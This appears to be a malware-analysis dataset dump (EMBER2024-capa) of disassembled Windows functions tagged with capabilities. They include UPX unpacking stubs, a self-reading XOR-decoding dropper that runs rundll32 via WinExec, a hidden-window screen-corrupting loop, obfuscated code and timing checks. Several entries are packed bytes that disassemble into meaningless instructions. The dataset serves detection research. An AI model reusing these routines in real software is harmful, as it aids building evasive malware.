joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003a160
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1003a32d
pushal
mov esi, section.UPX1
lea edi, [esi - 0x26000]
push edi
jmp 0x1003a18a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1003a191
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1003a180
mov eax, 1
add ebx, ebx
jne 0x1003a1a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1003a198
jne 0x1003a1b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1003a198
xor ecx, ecx
sub eax, 3
jb 0x1003a1c8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1003a23a
mov ebp, eax
add ebx, ebx
jne 0x1003a1d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1003a1e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1003a204
inc ecx
add ebx, ebx
jne 0x1003a1f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1003a1e5
jne 0x1003a201
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1003a1e5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1003a224
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1003a215
jmp 0x1003a186
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1003a224
add edi, ecx
jmp 0x1003a186
pop esi
mov edi, esi
mov ecx, 0x1112
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1003a242
cmp byte [edi], 6
jne 0x1003a242
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1003a247
lea edi, [esi + 0x35000]
mov eax, dword [edi]
or eax, eax
je 0x1003a2bf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3a000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3a104]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1003a274
mov ecx, edi
jns 0x1003a2a3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3a108]
or eax, eax
je 0x1003a2b9
mov dword [ebx], eax
add ebx, 4
jmp 0x1003a291
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1003a2f0
cmp al, 0xef
ja 0x1003a2e3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1003a2c5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1003a2d2
mov ebp, dword [esi + 0x3a10c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1003a324
sub esp, 0xffffff80
jmp 0x10024d99
Function at 0x401000
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x14c
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x50]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 3
push 0
push 1
lea ecx, [esp + 0x64]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4010bc
xor eax, eax
push 2
mov ecx, 0x10
lea edi, [esp + 0x14]
push eax
mov dword [esp + 0x14], 0
push 0xffffffffffffffbc
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [esp + 8]
push 0
push edx
lea eax, [esp + 0x14]
push 0x44
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x85
lea ecx, [esp + 0x10]
push 0x44
push ecx
call fcn.00401160
mov eax, dword [esp + 0x18]
add esp, 0xc
cmp eax, 0x132b6c8
jne 0x4010bc
lea edx, [esp + 0x10]
push edx
call fcn.004010d0
add esp, 4
pop edi
xor eax, eax
pop esi
add esp, 0x14c
ret 0x10

Function at 0x4010d0
Capabilities:
Check os version
Create process on windows

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x198
test edx, edx
je 0x401156
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x99]
mov byte [esp + 0x98], 0
push edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x9c]
push str.rundll32.exe__s_mymain
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 0
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 8]
pop edi
cmp eax, 6
jae 0x401156
lea edx, [esp + 0x94]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x198
ret

Function at 0x401160
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
pushal
xor eax, eax
xor ecx, ecx
xor esi, esi
xor ebx, ebx
mov ecx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
mov al, byte [esi]
xor al, bl
mov byte [esi], al
inc esi
dec ecx
test ecx, ecx
jne 0x401178
popal
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401000
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push 0
mov ebx, eax
call esi
push 1
mov edi, eax
call esi
mov esi, eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
test al, 1
mov ecx, 0xee0086
mov eax, 0x8800c6
cmove ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xa
idiv ecx
push edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xa
idiv ecx
push edx
push ebx
push esi
mov esi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push edi
call esi
cdq
mov edi, 0xa
idiv edi
push edx
call esi
cdq
idiv edi
push edx
push ebx
call dword [sym.imp.GDI32.dll_BitBlt]
push ebx
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x401012

Function at 0x401894
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4018d3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4018d3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4018d3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4018d3
cmp dword [ecx + 0x74], 0xe
jbe 0x4018d3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x43e82f
Capabilities:
Encode data using xor

Disassembly:
push 0x439860f2
insd dword es:[edi], dx
mov word [ebp - 0x7d], gs
pushal
hlt
and dword [eax - 0xc], 0xffffff8e
in al, 0xe1
lds ebx, [edi]
je 0x43e80b
xchg ebp, eax
dec edi
and eax, 0xa0a23c7e
salc
daa
dec esi
jecxz fcn.0043e82f
mov ch, 0x7b
dec edi
ror byte [edx + 0xf], 1
or eax, 0x273ebd06
sub ebp, dword [ebx + 0x5cc3108a]
in al, 0xf4
inc edi
pop ebp
push 0xffffffffffffffa1
jge 0x43e813
mov cl, 0x8c
mov edi, 0x91cb47a2
sub edi, dword [esi]
insb byte es:[edi], dx
adc dword [0xe592a857], 0xffffff8a
in eax, 0x8a
inc esp
std
xor eax, 0x83ee7393
cmpsb byte [esi], byte es:[edi]
push esp
out dx, al
cmp byte [esi], 0x6c
popal
jno 0x43e851
add dword [edi - 0x50], ebp
cdq
push esp
ret 0x86e2

Function at 0x452300
Capabilities:
Encode data using xor

Disassembly:
add byte [edx], 0x4c
das
dec esi
add cl, byte [edi + ebp + 0x4e]
jnp 0x452346
push 0x32
jge 0x45232c
dec eax
or al, 0x8b
xchg ebx, eax
std
push edi
inc ebp
xchg edi, eax
mov dl, byte [ebp + 0x69]
adc al, 0x4a
adc bh, byte [edx]
push 0xdd9addbc
cmpsd dword [esi], dword es:[edi]
xor bl, byte [esi]
add cl, byte [esi]
cdq
add ebx, dword [ecx + 0x196e73af]
dec esi
jo 0x452373
inc esi
xor eax, 0x3d9b42d8
mov esp, 0x1ca86a32
cwde
xlatb
sub dword [ecx - 0x7291ed3c], eax
sbb esp, dword [esp + edi*2 + 0x4b]
sal byte [edi], 0x9b
lahf
lea ebp, [bp + di]
test dword [edx - 0x4c], esi
out dx, eax
jecxz 0x4522ff
jmp 0x452383
fld xword [edx]
xor eax, dword [esi]
mov dx, ax
mov edx, 0xc8100b7a
sbb byte [eax + 0x29c2502a], 0x72
inc esp
dec ebx
js 0x452375
ret 0x7229
xchg edi, eax
push 0xf199543b
daa
pop edi
mov word [esi + 0x145c126c], gs
or eax, 0x5c04eab0
shl edi, 1
test byte [ebx], cl
add ch, ch
add bl, byte [ecx + 0x52]
imul esp, dword [esi], 0xa4e1292a
mov eax, 0x38c51d15
push ds
sub ah, al
xchg ebp, eax
push edx
cmp dl, byte [edx + 0x5a]
adc bl, byte [ebp - 0x3debddcb]
hlt

Function at 0x4544e5
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0xbfc98504
jnp 0x454513
xchg esp, eax
mov ecx, 0x2f9fa0b6
push 0xffffffffffffffad
adc cl, byte [esp + ecx*4]
mov bh, 0x19
invalid
dec ebx
jmp dword [eax - 5]
Function at 0x46c0cf
Capabilities:
Encode data using xor

Disassembly:
lodsb al, byte ss:[esi]
test al, 0xf9
push ecx
daa
mov bl, 0x51
cmp eax, 0x9c6f7cf9
outsd dx, dword [esi]
pushfd
outsd dx, dword [esi]
pushfd
sub eax, 0x53ce314f
cdq
cld
psrlq mm7, mm2
test eax, 0x9f92be3e
cld
movsb byte es:[di], byte [si]
sbb dword [ecx], ebx
stc
js 0x46c0d7
and dword [ebx], 0x865a02f9
ja 0x46c13a
xor dword [eax], ecx
jg 0x46c0c4
sbb al, 0xf9
push es
invalid
int1
push 0xffffffffffffffa0
xchg ebx, eax
das
adc dword [ecx + ecx + 0x34], 0xd7473b79
popal
stc
into
out 0xaa, al
jmp 0x46c1ac
int1
pop esp
push esi
scasd eax, dword es:[edi]
and bh, byte [ecx]
jns 0x46c1de
fadd dword [ecx + 0x3f]
ret
clc
leave
retf

Function at 0x48e892
Capabilities:
Encode data using xor

Disassembly:
push esi
or dword [ecx], eax
lea eax, [esi + 8]
mov dword [esi], 0xf908
push eax
call dword [0x110968c]
mov ecx, esi
pop esi
jmp 0x5ab003
std
invalid

Function at 0x49c884
Capabilities:
Encode data using xor

Disassembly:
int3
sahf
adc byte [ebx + 0x444020b2], 0xb4
xchg ecx, eax
xor dl, byte [ecx]
out 0xd3, eax
je 0x49c886
jp 0x49c824
inc byte [edx + 0x71]
ljmp 0x41c1
Function at 0x534385
Capabilities:
Accept command line arguments

Disassembly:
push dword [0x630038]
push dword [esp]
mov ecx, dword [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg dword [esp], edx
pop esp
add esp, 4
jmp 0x552bcb
imul eax, ecx
sub esp, 4
mov dword [esp], ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg dword [esp], ecx
pop esp
mov dword [esp], ecx
mov dword [esp], eax
push ebx
mov eax, dword [esp]
push edi
mov edi, esp
push ecx
mov ecx, 4
add edi, ecx
pop ecx
add edi, 4
xchg dword [esp], edi
mov esp, dword [esp]
push dword [esp]
mov eax, dword [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg dword [esp], eax
mov esp, dword [esp]
jmp 0x54f9fd
and edx, eax
jmp 0x51be85
push esi
push ecx
mov ecx, 0x7464dca
mov dword [esp + 4], ecx
pop ecx
mov dword [esp], edx
pop dword [0x630034]
push edi
mov dword [esp], ecx
push edi
mov edi, 0x2cb34fa
mov dword [esp + 4], edi
pop edi
mov dword [esp], edi
mov dword [esp], edx
push ecx
push dword [esp]
mov edx, dword [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
push dword [esp]
push dword [esp]
pop edx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
add esp, 4
jmp 0x4efa5d
mov edx, dword [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
push dword [esp]
pop edx
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
mov esp, dword [esp]
mov al, byte [0x630043]
push edx
mov dword [esp], edi
push esp
pop edi
add edi, 4
sub edi, 4
xchg dword [esp], edi
pop esp
mov dword [esp], ebp
mov dword [esp], ecx
sub ecx, 0x6adec423
add ecx, eax
push ebx
mov dword [esp], 0xe5ee54c
mov dword [esp], edi
push 0x6adec423
pop edi
add ecx, edi
pop edi
mov ecx, dword [esp]
push edi
mov edi, esp
add edi, 4
push ecx
push 4
pop ecx
add edi, ecx
pop ecx
xchg dword [esp], edi
mov esp, dword [esp]
jmp 0x4a97b9
push dword [0x630034]
push dword [esp]
pop edx
push esi
mov esi, esp
add esi, 4
add esi, 4
xor esi, dword [esp]
xor dword [esp], esi
xor esi, dword [esp]
pop esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg dword [esp], edx
pop esp
mov dword [esp], ebp
mov dword [esp], eax
mov dword [esp], edx
push 0x12ce6a8a
mov dword [esp], eax
mov dword [esp], ecx
push dword [esp]
pop edx
add esp, 4
push dword [esp]
mov edx, dword [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
pop esp
jmp 0x4f7bb5
push ebx
push edi
push 0x89b3d94
pop edi
mov dword [esp + 4], edi
pop edi
mov dword [esp], esi
mov dword [esp], ecx
push ebx
mov ebx, 0x7ed62a55
add ebx, 0xffffffff
dec ebx
and ebx, 0x7d7e1658
push eax
mov eax, 0x6bef278b
shl eax, 8
shr eax, 8
shl eax, 2
sub eax, 0x730bbd34
sub eax, 0x8ec3b728
xor ebx, eax
mov eax, dword [esp]
add esp, 4
sub ecx, ebx
pop ebx
add ecx, eax
add ecx, 0x7dbb2b80
push dword [esp]
pop ecx
push esi
mov esi, esp
push ebp
mov ebp, 0x5febf6e4
sub ebp, 0x5febf6e0
add esi, ebp
pop ebp
add esi, 4
xchg dword [esp], esi
mov esp, dword [esp]
sub esp, 4
mov dword [esp], edi
push 7
mov edi, dword [esp]
add esp, 4
or ecx, edi
mov edi, dword [esp]
add esp, 4
jmp 0x4f671d
Function at 0x6086e0
Capabilities:
Encode data using xor

Disassembly:
sbb dl, al
cwde
arpl word [ecx], cx
push esi
mov ah, 0x42
dec esp
inc eax
push esi
jne 0x60861c
push cs
and byte [ebx + 0x3f48e3e3], ah
cmp byte [esi], al
test ch, al
sub eax, 0xa2f96c51
and eax, 0xba0dfc15
scasd eax, dword es:[edi]
adc eax, 0xafba0dfc
js 0x608643
daa
sub bl, byte [edx - 0x47]
fidiv word [eax]
and ebx, dword [ebp + 0x7a72ca0f]
sbb cl, byte [ebp - 0x639c21e3]
je 0x6085ff
pushal
mov dword cs:[edi - 0x1a], ebp
enter 0x6f9b, 0xffffffffffffffa7
jbe 0x6086dd
popal
dec esi
push eax
mov dword [edx], 0x2a7e5ebb
mov byte [esi + 0x4511e21f], al
sbb byte [ebx], cl
inc ecx
cld
mov bh, byte [edi]
mov eax, dword [0x1e7e7193]
scasd eax, dword es:[edi]
bound esi, qword [esi - 0x6883651a]
pop eax
in eax, dx
pop ebp
xor eax, 0x89a39106
push es
xchg ecx, eax
mov dword [0x73133289], eax
inc esp
popfd
mov dl, byte [eax + 0x42]
cmp byte [ebx + 0x67], ch
or byte [ebx + 0x74], cl
mov es, esi
sub byte [edi - 0x2a], bh
cmpsd dword [esi], dword es:[edi]
or byte [edx - 0x68951e50], 0x9f
out dx, al
pop ss
js 0x60865f
or al, bl
adc eax, 0xbca5f3e2
inc ecx
mov ebx, 0x6456d0fc
xchg ebx, eax
xchg ebx, eax
invalid
shl ah, 1
das
xchg esp, eax
loope 0x6086b5
into
jl 0x6086ac
mov dh, 0x22
sbb byte [esi], 0x8e
jmp 0x36cd7b63
invalid

Function at 0x628c3d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6303e8
cmp edx, dword [eax]
je 0x628c5f
add eax, 8
inc ecx
cmp eax, 0x630478
jl 0x628c50
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6303e8]
jne 0x628d8d
mov eax, dword [0x638d88]
cmp eax, 1
je 0x628d67
test eax, eax
jne 0x628c90
cmp dword [0x630310], 1
je 0x628d67
cmp edx, 0xfc
je 0x628d8d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x628cc7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00629620
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00629ab0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x628d0a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00629ab0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62da0c
push edi
call fcn.0062b980
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00629620
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00629630
lea eax, [ebp - 0xa0]
push 0x62d9ec
push eax
call fcn.00629630
push dword [esi + 0x6303ec]
lea eax, [ebp - 0xa0]
push eax
call fcn.00629630
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062b8f4
add esp, 0x2c
pop edi
lea eax, [ebp + 8]
lea esi, [esi + 0x6303ec]
push 0
push eax
push dword [esi]
call fcn.00629ab0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
Function at 0x4239a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.TGOqOPny
lea edi, [esi - 0x19000]
push edi
or ebp, 0xffffffff
jmp 0x4239c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4239c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4239b8
mov eax, 1
add ebx, ebx
jne 0x4239db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4239d0
jne 0x4239ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4239d0
xor ecx, ecx
sub eax, 3
jb 0x423a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x423a72
mov ebp, eax
add ebx, ebx
jne 0x423a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x423a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x423a3c
inc ecx
add ebx, ebx
jne 0x423a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x423a1d
jne 0x423a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x423a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x423a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x423a4d
jmp 0x4239be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x423a5c
add edi, ecx
jmp 0x4239be
pop esi
mov edi, esi
mov ecx, 0x138
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x423a7a
cmp byte [edi], 6
jne 0x423a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x423a7f
lea edi, [esi + 0x21000]
mov eax, dword [edi]
or eax, eax
je 0x423aee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x23000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x23028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x423aac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x23030]
or eax, eax
je 0x423ae8
mov dword [ebx], eax
add ebx, 4
jmp 0x423ac9
call dword [esi + 0x2302c]
mov ebp, dword [esi + 0x23034]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x423b22
sub esp, 0xffffff80
jmp 0x4038fc
Function at 0x15404
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x18b008], 0x8088405
inc edx
mov dword [ebx + 0x18b008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x16310
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00016770
mov byte [esp], al
cmp byte [esp], 0
jne 0x1649a
test edi, edi
je 0x1649a
mov byte [esp + 1], 0
test ebp, ebp
jle 0x163da
call sub.KERNEL32.DLL_GetTickCount_1
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x163b5
cmp edi, 0xffffffff
je 0x16375
call sub.KERNEL32.DLL_GetTickCount_1
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x16375
mov byte [esp], 0
jmp 0x1649a
mov ebx, dword [esi]
cmp ebx, 1
jg 0x163b5
test ebx, ebx
jne 0x163a7
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x163a7
call sub.KERNEL32.DLL_GetCurrentThreadId_1
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x1649a
lea eax, [esp + 0xc]
call fcn.00015ff0
dec ebp
test ebp, ebp
jg 0x1635a
cmp edi, 0xffffffff
je 0x163da
call sub.KERNEL32.DLL_GetTickCount_1
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x163d8
mov byte [esp], 0
jmp 0x1649a
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x1631e
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x163da
call sub.KERNEL32.DLL_GetTickCount_1
mov dword [esp + 4], eax
mov eax, esi
call fcn.00016508
mov edx, eax
mov ebx, dword [0x18f8fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x1643e
call sub.KERNEL32.DLL_GetTickCount_1
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x1643c
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x1643e
xor edi, edi
cmp byte [esp], 0
je 0x16464
mov ebx, dword [esi]
test bl, 1
jne 0x1647a
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x16444
mov byte [esp + 1], 1
jmp 0x1647a
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x16464
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x163f1
cmp byte [esp], 0
je 0x1649a
call sub.KERNEL32.DLL_GetCurrentThreadId_1
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x172dc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x18f05c], 0
je 0x17343
cmp word [0x18f348], 0xd7b2
jne 0x17305
cmp dword [0x18f350], 0
jbe 0x17305
mov eax, 0x18f344
call dword [0x18f360]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x17370
call fcn.00017e90
push eax
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x18b032], 0
jne 0x1735f
push 0
push 0x18b9c2
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x1750c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x18b034], 0
je 0x17537
mov edx, edi
mov eax, esi
call dword [0x18b034]
mov ebx, eax
jmp 0x17548
mov eax, 8
call fcn.00014ffc
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x18f05d], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x174d4
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_CreateThread_1
mov esi, eax
test esi, esi
jne 0x17578
mov eax, ebx
call fcn.00015018
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc